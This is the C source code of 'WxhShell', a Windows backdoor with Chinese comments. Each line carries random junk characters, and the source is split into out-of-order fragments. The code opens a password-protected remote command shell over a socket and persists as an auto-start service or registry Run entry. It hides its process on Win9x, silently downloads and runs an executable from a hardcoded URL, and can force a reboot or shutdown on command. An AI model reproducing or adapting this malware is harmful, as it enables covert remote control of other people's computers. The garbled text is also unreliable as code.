  case 'd': { <1#hX(Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w6h*dh$w  
    if(Boot(SHUTDOWN)) IgN^~ag`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Z9(ll:<$  
    else { )b1X6w[  
    closesocket(wsh); J$U_/b.mk  
    ExitThread(0); )nGH$Mu  
    } 7GvMKtuSK  
    break; k;Fxr%  
    } [1mEdtqf*  
  // 获取shell NwVhJdo  
  case 's': { ]=p^32  
    CmdShell(wsh); BV6B:=E0  
    closesocket(wsh); (((|vI3 <  
    ExitThread(0); uvAJJIae'  
    break; 8F&Y;  
  } 4peRbm  
  // 退出 s!S_Bt):3  
  case 'x': { DYoGtks(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dQz#&&s-  
    CloseIt(wsh); [FZq'E"87  
    break; LJ K0WWch  
    } ,M~> t7+  
  // 离开 .%!^L#g  
  case 'q': { TT no  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %OsxXO?  
    closesocket(wsh); 6a<zZO`Z6+  
    WSACleanup(); os7xwI;T  
    exit(1); cTq;<9Iew  
    break; 3~{0X-  
        } ~uV(/?o%  
  } 1IlOU|4  
  } gLRDd~H  
Omi/sKFMi  
  // 提示信息 gZiwXb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0cDP:EzR;  
} RL )~J4Y  
  } fv@<  
/=T:W*C  
  return; ~9"c64 q  
} }KO <II  
e,r7UtjoxR  
// shell模块句柄 s7sTY   
int CmdShell(SOCKET sock) 1:r#m- \  
{ _u'y7-  
STARTUPINFO si; &F:.OVzX  
ZeroMemory(&si,sizeof(si)); 2C1NDrS;}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (AX$S vw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?bpV dm!  
PROCESS_INFORMATION ProcessInfo; -:kIIK   
char cmdline[]="cmd"; Uu52uR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M[+#*f.T}  
  return 0; N}1yDN  
} . :>e"D  
=ZO lE|4  
// 自身启动模式 ]1pB7XL  
int StartFromService(void) 1w,34*-}  
{ AF8:bk,R  
typedef struct eco&!R[G  
{ [ [pt~=0  
  DWORD ExitStatus; K- $,:28  
  DWORD PebBaseAddress; &YcOmI/MM  
  DWORD AffinityMask; N:okt)q:%  
  DWORD BasePriority; cRuN;  
  ULONG UniqueProcessId; zWv0y8[d  
  ULONG InheritedFromUniqueProcessId; yn"4qC#Z  
}   PROCESS_BASIC_INFORMATION; GwfCl{l  
ksCF"o /@V  
PROCNTQSIP NtQueryInformationProcess; -SfU.XlZl  
8O$ LY\G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3m9b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (,tu7u{  
m=+x9gL2  
  HANDLE             hProcess; 3<xDxj 0<  
  PROCESS_BASIC_INFORMATION pbi; V#b=mp  
@OGG]0 J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fUGappb  
  if(NULL == hInst ) return 0; Zxhbnl6  
YaL:6[6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OScqf]H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s2GF*{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (KwC,0p  
=Xg/[J%  
  if (!NtQueryInformationProcess) return 0; 0:>hK\F#  
X:I2wJDs\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  jr_z ?  
  if(!hProcess) return 0; f0j]!g  
"*.N'J\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }r!+wp   
t=xEUOQAn  
  CloseHandle(hProcess); qTN%9!0@9  
9(nq 4 HvI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cs ?WE9N  
if(hProcess==NULL) return 0; 1_#;+S  
E1tCY.N{  
HMODULE hMod; dq`{fqGl  
char procName[255]; 8e3eQ  
unsigned long cbNeeded; K!.t}s.t  
q*|Alrm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EFljUT?&  
K5|~iW'  
  CloseHandle(hProcess); >Q!}tbg~9  
HZZZ [km  
if(strstr(procName,"services")) return 1; // 以服务启动 1YJ?Y  
tpC^68* F  
  return 0; // 注册表启动 g2m* Q%  
} 0 p ?AL=  
lux g1>  
// 主模块 @fJsRWvGq  
int StartWxhshell(LPSTR lpCmdLine) KYtCN+vsG  
{ -4sKB>b  
  SOCKET wsl; ux)*B}/xh  
BOOL val=TRUE; _^NaP  
  int port=0; 6% ofS8 [  
  struct sockaddr_in door; $Seh4  
&Cv  
  if(wscfg.ws_autoins) Install(); |bnYHP$!  
T'vI@i9  
port=atoi(lpCmdLine); c9fz x  
~/9RSdv7  
if(port<=0) port=wscfg.ws_port; RJzIzv99m  
.=TXi<8Brw  
  WSADATA data; m7g*zu2#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9\<q =p~  
N`,\1hHMT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Tp9)UP)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `6J7c;:  
  door.sin_family = AF_INET; X,_K )f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0bM_EC  
  door.sin_port = htons(port); %" 7UYLX  
} O $]xB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =g! Pw]  
closesocket(wsl); {yWL|:#K  
return 1; VOM@x%6#c  
}  MiIxj%,(  
Ycspdl+(S$  
  if(listen(wsl,2) == INVALID_SOCKET) { v N\[2r%S  
closesocket(wsl); V%PQlc.X  
return 1; ?o?$HK   
} D@gC(&U/6  
  Wxhshell(wsl); ~M-L+XZl(  
  WSACleanup(); cI@qt>&  
VGD~) z57  
return 0; *oz#YGNm  
XLCqB|8`V  
} Z>bNU  
_!qD/ [/  
// 以NT服务方式启动 Ca5#'3Eh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >Ti%Th,  
{ J ( d[05x0  
DWORD   status = 0; (,#m+  
  DWORD   specificError = 0xfffffff; a;Y:UwD9*  
&RARK8 ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xS tsw5d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6h)_{| L)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T?m@`"L,  
  serviceStatus.dwWin32ExitCode     = 0; qz]qG=wmL  
  serviceStatus.dwServiceSpecificExitCode = 0; X+N5iT  
  serviceStatus.dwCheckPoint       = 0;  P>iZ gv  
  serviceStatus.dwWaitHint       = 0; eG!ma`v  
 ^AaE$G&:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *)-@'{]uB  
  if (hServiceStatusHandle==0) return; 452kE@=49  
BLt58LYGX  
status = GetLastError(); qX5>[qf-  
  if (status!=NO_ERROR) [YULvWAJ  
{ $Y_S`#c@i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QJ;dw8  
    serviceStatus.dwCheckPoint       = 0; 1g{}O^ul  
    serviceStatus.dwWaitHint       = 0; C 8wGbU6`  
    serviceStatus.dwWin32ExitCode     = status; = NZgbl  
    serviceStatus.dwServiceSpecificExitCode = specificError; f0sLe 3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 03v+eT  
    return; j;@a~bks6z  
  } MWA,3I\.  
sIf]e'@AC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z/G#3-5)p  
  serviceStatus.dwCheckPoint       = 0; F&R*njJcc  
  serviceStatus.dwWaitHint       = 0; M-i3_H)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9X 4[Zk  
} @ewaj!  
2e%\aP`D2  
// 处理NT服务事件,比如:启动、停止 *cXq=/s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZBpcC0 z  
{ :G@z?ZJ[  
switch(fdwControl) :cWU,V  
{ 5["3[h  
case SERVICE_CONTROL_STOP: zY:3*DiM  
  serviceStatus.dwWin32ExitCode = 0; f;BY%$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D1ZyJs#  
  serviceStatus.dwCheckPoint   = 0; 4h|*r !  
  serviceStatus.dwWaitHint     = 0; g]: [^p  
  { tUx H 6IS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9gw;MFP)D  
  } z+Fu{<#(  
  return; eZ(ThA*2=t  
case SERVICE_CONTROL_PAUSE: Gm:s;w-;v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %6uZb sa  
  break; 4vWiOcJF!O  
case SERVICE_CONTROL_CONTINUE: PB$beQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !;,\HvEZYw  
  break; -#9et30  
case SERVICE_CONTROL_INTERROGATE: =YgH-{  
  break; 9h\RXVk{tA  
}; Jk>vn+q8P^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ["Ts7;q9[  
} Y,0Z&6 <  
2H.g!( Oza  
// 标准应用程序主函数 /}~=)QHH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E7iAN\vo  
{ 3W[?D8yi)  
D tZ?sG  
// 获取操作系统版本 a)pc+w#  
OsIsNt=GetOsVer(); mbkt7. ,P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a($7J6]M  
KF+r25uy[+  
  // 从命令行安装 aUEr& $  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,b!D8{W"N  
V 9$T=[  
  // 下载执行文件 AE~a=e\x  
if(wscfg.ws_downexe) { i8e*9;4@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T{Xd>  
  WinExec(wscfg.ws_filenam,SW_HIDE); P1rjF:x[*  
} o{#aF=`{  
?V!5VHa  
if(!OsIsNt) { ) dk|S\  
// 如果时win9x,隐藏进程并且设置为注册表启动 v%cCJ SO#  
HideProc(); B_ict)}ld  
StartWxhshell(lpCmdLine); . KLEx]f.  
} rN|=cn  
else #)~u YQ  
  if(StartFromService()) 63l& ihj  
  // 以服务方式启动 f4P({V  
  StartServiceCtrlDispatcher(DispatchTable); a`xAk ^w+  
else O$6&4p*F.  
  // 普通方式启动 .c}+kHv  
  StartWxhshell(lpCmdLine); hJ`Gu7  
q-;Y }q  
return 0; /_m )D;!y  
} &^#iS<s1  
Fdhgm{Y2s  
R`<2DC>h9  
 *1["x;A  
=========================================== kVWcf-f  
gyAJ#N|  
[G$#jUt/O  
?lD)J?j  
;&CLb`<y  
g?"QahH G  
" 7!cLTq  
q,)V0Ffe[|  
#include <stdio.h> V5ZC2H  
#include <string.h> E} XmZxHV  
#include <windows.h> 0ex.~S_Oj4  
#include <winsock2.h> J78.-J5 j0  
#include <winsvc.h> vwu/33  
#include <urlmon.h> Wj,s/Yr:  
R&Nl!QTJj  
#pragma comment (lib, "Ws2_32.lib") d]s^?=gM  
#pragma comment (lib, "urlmon.lib") asYk #;z\"  
~;CNWJtcf(  
#define MAX_USER   100 // 最大客户端连接数 \ZADY.ha  
#define BUF_SOCK   200 // sock buffer b/a\{  
#define KEY_BUFF   255 // 输入 buffer /lUfxc4  
F|> 3gW  
#define REBOOT     0   // 重启 nktGO  
#define SHUTDOWN   1   // 关机 ZAfuW^r  
FulFEnSV  
#define DEF_PORT   5000 // 监听端口 ].xSX0YQ%  
%:`v.AG  
#define REG_LEN     16   // 注册表键长度 C5V}L  
#define SVC_LEN     80   // NT服务名长度 Z qn$>mG-  
7P3pjgh  
// 从dll定义API N\__a~'0p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %r1#G.2YW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &,G2<2_b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZH\t0YhrVe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \;N+PE  
o+{,>t  
// wxhshell配置信息 }_KzF~  
struct WSCFG { o%~fJx:]y  
  int ws_port;         // 监听端口 8WQ#)  
  char ws_passstr[REG_LEN]; // 口令 #[9UCX^=  
  int ws_autoins;       // 安装标记, 1=yes 0=no lfDd%.:q4S  
  char ws_regname[REG_LEN]; // 注册表键名 :a/rwZ[r  
  char ws_svcname[REG_LEN]; // 服务名 13F]7l-#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @Nsn0-B?ne  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1z7+:~;l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^ 3 4Ng  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *:TwO=)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4!{lySW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9dA+#;?  
%" bI2  
}; &2u |7U.  
\u`P(fI!K%  
// default Wxhshell configuration 69r%b7#  
struct WSCFG wscfg={DEF_PORT, =5Db^  
    "xuhuanlingzhe", !Q|a R  
    1, -&7? !<f  
    "Wxhshell", UAXp;W`  
    "Wxhshell", *B!Ox}CI.L  
            "WxhShell Service", w>f.@luO4  
    "Wrsky Windows CmdShell Service", C <:g"F:k  
    "Please Input Your Password: ", lfM vNv  
  1, }:faHLYT  
  "http://www.wrsky.com/wxhshell.exe", N}U+K  
  "Wxhshell.exe" QxW+|Gt._  
    }; 0'*{BAWx  
]*| hd/j  
// 消息定义模块 of*T,MUI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uQdH ():  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z{OL+-OY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B(Yg1jAe  
char *msg_ws_ext="\n\rExit."; 4_-&PZ,d  
char *msg_ws_end="\n\rQuit."; 3LfF{ED@  
char *msg_ws_boot="\n\rReboot..."; m]U  
char *msg_ws_poff="\n\rShutdown..."; wp1O*)/q  
char *msg_ws_down="\n\rSave to "; qc,EazmU  
`&c[ s%0  
char *msg_ws_err="\n\rErr!"; XlF,_  
char *msg_ws_ok="\n\rOK!"; vaF1e:(  
H.l0kBeG  
char ExeFile[MAX_PATH]; Q +l{> sL  
int nUser = 0; W[J2>`k9  
HANDLE handles[MAX_USER]; 0-uj0"r`  
int OsIsNt; aB~k8]q.  
tZ62T{, a  
SERVICE_STATUS       serviceStatus; =I'iD0eR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I>.pkf<V  
Td|,3 n  
// 函数声明 m33&obSP  
int Install(void); i5le0lM  
int Uninstall(void); Awfd0L;9  
int DownloadFile(char *sURL, SOCKET wsh); ? 0X$ox  
int Boot(int flag); @Un/,-ck  
void HideProc(void); UeCi{ W  
int GetOsVer(void); [/hoNCH!  
int Wxhshell(SOCKET wsl); zu?112-v2  
void TalkWithClient(void *cs); -x6_HibbD  
int CmdShell(SOCKET sock); LI}e_= E  
int StartFromService(void); )2y [#Blo  
int StartWxhshell(LPSTR lpCmdLine); ! U@ETo  
sT1OAK\^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U3Gg:onuE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [\Wl~ a l  
I_f%%N%  
// 数据结构和表定义 Zex~ $r  
SERVICE_TABLE_ENTRY DispatchTable[] = cG0)F%?X?  
{ fsOlg9  
{wscfg.ws_svcname, NTServiceMain}, PtuRXx  
{NULL, NULL} BDfMFH[1  
}; 90+Vw`Gz=  
/'{vDxZf R  
// 自我安装 <fBJ@>  
int Install(void) tBzE(vW  
{  =AaF$R  
  char svExeFile[MAX_PATH]; JQbaD-  
  HKEY key; +?6]Vu&|f  
  strcpy(svExeFile,ExeFile); m $[:J  
? 3DFm  
// 如果是win9x系统,修改注册表设为自启动 5u9lKno  
if(!OsIsNt) { c(Y~5A{TXO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m %+'St|qr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qh>An;:u  
  RegCloseKey(key); j^#\km B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +/$&P3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^-?^iWQ G  
  RegCloseKey(key); (BH<\&yHE  
  return 0; n+=7u[AZi  
    } ).,twf58  
  } >,zU=I?9Y  
} :I?lT2+ea  
else { *j(fk[,i  
,DHH5sDCn  
// 如果是NT以上系统,安装为系统服务 (&*Bl\YoX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;FwUUKj  
if (schSCManager!=0) CaCApL  
{ `Qb!W45  
  SC_HANDLE schService = CreateService )2EvZn  
  ( ;/Y#ph[  
  schSCManager, <^;~8:0]  
  wscfg.ws_svcname, - TH(Z(pB  
  wscfg.ws_svcdisp, B7C<;`5TiD  
  SERVICE_ALL_ACCESS, 0K"+u9D^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i88 5T '  
  SERVICE_AUTO_START, :twp95{R1  
  SERVICE_ERROR_NORMAL, ^0_>  
  svExeFile, p\~ a=  
  NULL, A#q.)8  
  NULL, lu>G=uCJ  
  NULL, R+0fs$s u  
  NULL, W)Y-^i5  
  NULL #('R`~  
  ); 8yI4=P"F,  
  if (schService!=0) 6&E[hvu  
  { ]Y?ZUSCJ  
  CloseServiceHandle(schService); -|#/KKF  
  CloseServiceHandle(schSCManager); JK{2 hr_a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,eOZv=:  
  strcat(svExeFile,wscfg.ws_svcname); z4J\BB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g;R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _G4 U  
  RegCloseKey(key); c9uu4%KG6<  
  return 0; A ][ ;v  
    } r!{i2I|  
  } 8$JJI( {bH  
  CloseServiceHandle(schSCManager); 7{"F%`7L  
} Z{ YuX  
} K7x;/O  
wk'(g_DP  
return 1; D)L~vA/8b  
} jbg9 EtQ!*  
XH0Vs.w  
// 自我卸载 c;29GHs2  
int Uninstall(void) #WDpiV7B  
{ o|84yT!~  
  HKEY key; A0.xPru1p  
={h^X0<s9  
if(!OsIsNt) { CO ZfR~}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?o]NV  
  RegDeleteValue(key,wscfg.ws_regname); _^eA1}3  
  RegCloseKey(key); PCDvEbpG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nF3Sfw,  
  RegDeleteValue(key,wscfg.ws_regname); hn6'$P  
  RegCloseKey(key); ~tNk\Kkv  
  return 0; g~|x^d^;|  
  } =<M>fJ)  
} o}wRgG  
} [D?xd/G  
else { %PR,TWe  
e7Gb7c~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9*"K+t:  
if (schSCManager!=0) Q.8^F  
{ mT j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qncZpXw^  
  if (schService!=0) us8ce+  
  { uRuu!{$  
  if(DeleteService(schService)!=0) { UK8k`;^KI  
  CloseServiceHandle(schService); dj,lbUL  
  CloseServiceHandle(schSCManager); 3uvl'1(%J  
  return 0; uuUj IZCtz  
  } 7 oYD;li$k  
  CloseServiceHandle(schService); kd p*6ynD  
  } 9)b{U2&  
  CloseServiceHandle(schSCManager); {c1wJ  
} LBpAR|  
} E>QEI;  
guy!/zQ>A  
return 1; @[/!e`]+  
} Vhm^<I-d  
sdewz(xskj  
// 从指定url下载文件 v<0S@9~  
int DownloadFile(char *sURL, SOCKET wsh) N'5DB[:c:  
{ RzB64  
  HRESULT hr; *:l$ud  
char seps[]= "/"; HW6Cz>WxOW  
char *token; =/xXB  
char *file; }ZwnG=7T?  
char myURL[MAX_PATH]; &t@ $]m(  
char myFILE[MAX_PATH]; eEmLl(Lb  
jNIz:_c-~  
strcpy(myURL,sURL); <dk9n}y<,  
  token=strtok(myURL,seps); G<*h,'B  
  while(token!=NULL) ,=%c e  
  { [h\_yU[ P  
    file=token; 7vH4}S\ q  
  token=strtok(NULL,seps); .L]2g$W\p  
  } brn>FFAwO  
pAEJ=Te  
GetCurrentDirectory(MAX_PATH,myFILE); ~3Z(0 gujD  
strcat(myFILE, "\\"); Xn<|6u  
strcat(myFILE, file); D{t0OvQag  
  send(wsh,myFILE,strlen(myFILE),0); b\t@vMJ  
send(wsh,"...",3,0); .R^]<b:`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $- Z/UHT  
  if(hr==S_OK) 38JU-aq  
return 0; i079 V  
else  q,'~=Y5  
return 1; Dt]FmU  
Hc q@7g  
} f K4M:_u  
WN#dR~>  
// 系统电源模块 Hp fTuydU  
int Boot(int flag) 4T<dI6I0  
{ |@ZyD$?  
  HANDLE hToken; jm |zn  
  TOKEN_PRIVILEGES tkp; h/l?,7KHI  
N4 _V  
  if(OsIsNt) { ~-(X\:z}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YGq-AB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkix@Q!;\  
    tkp.PrivilegeCount = 1; _..5G7%#%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KEr?&e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k .F(*kh  
if(flag==REBOOT) { IZ_ B $mo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {O[ !*+O  
  return 0; 1`n ZK$  
} A5dH*< }  
else { gm&O-N"= U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iB'g7&,L  
  return 0; O{G $]FtF  
} Fg^zz*e  
  } [  **F  
  else { L\kT9wWK|  
if(flag==REBOOT) { w?p8)Q6m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OoAZ t  
  return 0; gkv,Om  
} ![_GA)7  
else { jM(!!A jpC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) inx0W3d"T  
  return 0; ~_SVQ7P  
} "}UYsXg  
} pvd9wKz  
7m 9T'  
return 1; Yf^/YLLS  
} O[')[uo8s  
{S5D~A*a+  
// win9x进程隐藏模块 n %P,"V  
void HideProc(void) Rv+p4RgA  
{ [k6,!e[/uG  
x6*.zo5e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qv+}|+aL:  
  if ( hKernel != NULL ) !yTjO  
  { a<V* )  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V-9z{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qS2]|7q?Tc  
    FreeLibrary(hKernel); l_*:StyR+  
  } X`n*M]  
g.O? 1bebe  
return; v&ZI<Xt+  
} e?b<-rL   
$L$GI~w/  
// 获取操作系统版本 p/uOCQ|1l  
int GetOsVer(void) QWxl$%`89<  
{ vro5G')  
  OSVERSIONINFO winfo; D D Crvl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F30jr6F\  
  GetVersionEx(&winfo); WN?meZ/N/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i(>v~T,(  
  return 1; Z$a4@W9o  
  else z15QFVm  
  return 0; =E%<"FB  
} =R\-mov$  
q\5C-f  
// 客户端句柄模块 qxW 2q8QHo  
int Wxhshell(SOCKET wsl) bYH! P/  
{ [Z?vC  
  SOCKET wsh; ./;*L D  
  struct sockaddr_in client; U^X8{,8O  
  DWORD myID; -?<L"u  
oWc +i U(  
  while(nUser<MAX_USER) Ti9cN)lq&  
{ u~d&<_Z  
  int nSize=sizeof(client); /waZ9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [?`c>  
  if(wsh==INVALID_SOCKET) return 1; :`P;(h  
tlFc+3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IsCJdgG  
if(handles[nUser]==0) 9^c"HyR  
  closesocket(wsh); {VE$i2nC8  
else P X<,/6gz  
  nUser++; "ae55ft//  
  } yo0?QRT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _j2h3lCT  
!P26$US%P  
  return 0; wen6"  
} {n%U2LVL  
$yb8..+  
// 关闭 socket  goT:\2  
void CloseIt(SOCKET wsh) JZ=a3)x"  
{ H{T)?J~  
closesocket(wsh); 7u^6`P  
nUser--; Gu_Rf&:  
ExitThread(0); 0IM#T=V  
} D r$N{d  
5OUe |mS  
// 客户端请求句柄 {\e wf_pFk  
void TalkWithClient(void *cs) /_554q  
{ Lsozl<@  
%rRpUrnm  
  SOCKET wsh=(SOCKET)cs; VU*{E  
  char pwd[SVC_LEN]; AH], >i3  
  char cmd[KEY_BUFF]; *H RxC  
char chr[1]; thDE 1h  
int i,j; ~dwl7Qc  
4.dMNqU  
  while (nUser < MAX_USER) { jWW2&cBm\  
p8^^Pva/  
if(wscfg.ws_passstr) { .ODtduURe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =;$&:Zjy/%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kB]|4CG{  
  //ZeroMemory(pwd,KEY_BUFF); n%<.,(.(S  
      i=0; q9pcEm4?  
  while(i<SVC_LEN) { !J' xk  
;SVF"Uo  
  // 设置超时 i9M6%R1m}E  
  fd_set FdRead; Ve8`5  
  struct timeval TimeOut; [P{Xg:0  
  FD_ZERO(&FdRead); 4"j5@bppJ  
  FD_SET(wsh,&FdRead);  . yu  
  TimeOut.tv_sec=8; LVLh&9  
  TimeOut.tv_usec=0; j{P,(-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WiviH#hF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ahq^dx#o  
#PA"l` "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6CU8BDN  
  pwd=chr[0]; aTs_5q  
  if(chr[0]==0xd || chr[0]==0xa) { ^HL#)fK2I  
  pwd=0; XfsCu>  
  break; I|O~F e.  
  } N]yk<55  
  i++; knBT(x'+  
    } 6<t\KMd  
M=N`&m\  
  // 如果是非法用户,关闭 socket t@v>eb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4!gyFi6$  
} si nG $=  
nhCB ])u8l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a4: PufS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *G~c6B Z  
d*>M<6b-  
while(1) { n(f&uV_):  
a3lo;Cfp  
  ZeroMemory(cmd,KEY_BUFF); :({lXGc}4?  
i]$7w! r&  
      // 自动支持客户端 telnet标准   65J'u N  
  j=0; 6U+#ADo  
  while(j<KEY_BUFF) { G%kXr$?W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?0;b}Xl-  
  cmd[j]=chr[0]; ?I/,r2ODLh  
  if(chr[0]==0xa || chr[0]==0xd) { c@q>5fR/c  
  cmd[j]=0; l2`8]Qr   
  break; U.6hLFcE  
  } 9 [I ro  
  j++; #t(?8!F  
    } H_8@J  
"a"[B'  
  // 下载文件 ld@f:Zali  
  if(strstr(cmd,"http://")) { 7\/O"Ot  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *,- YWx4  
  if(DownloadFile(cmd,wsh)) P7y[9|^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eNNgxQw>m  
  else 0`ib_&yI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); In;z\"NN4  
  } sy@k3wQ  
  else { wA~Nfn ^  
vp_$6  
